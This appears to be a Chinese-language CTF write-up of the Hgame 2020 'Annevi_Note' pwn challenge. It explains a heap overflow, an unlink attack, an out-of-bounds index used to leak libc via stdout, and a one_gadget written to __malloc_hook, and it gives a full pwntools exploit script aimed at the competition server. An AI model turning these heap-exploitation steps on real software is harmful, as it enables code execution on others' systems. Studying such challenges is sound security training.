Hgame2020_Week3_Pwn_Annevi_Note

unlink

功能菜单:

1
2
3
4
1.add
2.delete
3.show
4.edit

add只能size分配大于143的note,edit时size为256,因此产生了堆溢出,可以简单构造一个unlink。

1
2
3
4
5
6
lis=0x602040
add(0x90,'\x00')
add(0x90,'\x01')
add(0x90,'\x02')
edit(0,p64(0)+p64(0x91)+p64(lis-0x18)+p64(lis-0x10)+p64(0)*14+p64(0x90)+p64(0xa0))
delete(1)

在进行edit操作时还没有对idx进行限制,因此我们输入-4,即可以对list上方的stdout进行修改,来leak出libc基址。

1
2
3
4
edit(-4,p64(0xfbad1887)+p64(0)*3)
sh.recvuntil('\x00'*14)
leak=u64(sh.recv(6)+'\x00\x00')
libcbase=leak-0x7fa380cae6e0+0x7fa3808eb000

之后有了unlink制造出的任意写,加上libc基址,可以选择在mallochook上写onegadget来获取shell。

注意利用stdout leak之后,程序的输出会和原来有点点不一样。

完整EXP:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
#coding=UTF-8
from pwn import *
context(arch='amd64', os='linux', log_level='debug')
one=[0x45216,0x4526a,0xf02a4,0xf1147]
debug = 0
if debug:
sh = process("/media/psf/Home/Downloads/Annevi")
else:
sh=remote("47.103.214.163",20301)
def D():
cmd='''
'''
gdb.attach(sh,cmd)
#libcbase=0x7f6a388bf000+puts-0x7f6a3892e690
#libcbase=mainarena-0x3c4b20
def add(size,content):
sh.recvuntil(":")
sh.sendline("1")
sh.recvuntil("size?\n")
sh.sendline(str(size))
sh.recvuntil("content:")
sh.sendline(content)
def delete(idx):
sh.recvuntil(":")
sh.sendline("2")
sh.recvuntil("index?\n")
sh.sendline(str(idx))
def show(idx):
sh.recvuntil(":")
sh.sendline("3")
sh.recvuntil("index?\n")
sh.sendline(str(idx))
def edit(idx,content):
sh.recvuntil(":")
sh.sendline("4")
sh.recvuntil("index?\n")
sh.sendline(str(idx))
sh.recvuntil("content:")
sh.sendline(content)
lis=0x602040
add(0x90,'\x00')
add(0x90,'\x01')
add(0x90,'\x02')
edit(0,p64(0)+p64(0x91)+p64(lis-0x18)+p64(lis-0x10)+p64(0)*14+p64(0x90)+p64(0xa0))
delete(1)

edit(-4,p64(0xfbad1887)+p64(0)*3)
sh.recvuntil('\x00'*14)
leak=u64(sh.recv(6)+'\x00\x00')
libcbase=leak-0x7fa380cae6e0+0x7fa3808eb000
log.success("libcbase : "+hex(libcbase))
mallochook=libcbase+0x3c4b20-0x10
log.success("mallochook : "+hex(mallochook))
sh.recvuntil("edit\n")
sh.sendline("4")
sh.recvuntil("index?")
sh.sendline("0")
sh.recvuntil("content:")
sh.sendline(p64(0)*3+p64(mallochook))
sh.recvuntil("edit\n")
sh.sendline("4")
sh.recvuntil("index?")
sh.sendline("0")
sh.recvuntil("content:")
sh.sendline(p64(libcbase+one[3]))
sh.recvuntil("edit\n")
sh.sendline("1")
sh.recvuntil("size?")
sh.sendline("144")
sh.interactive()
文章目录
|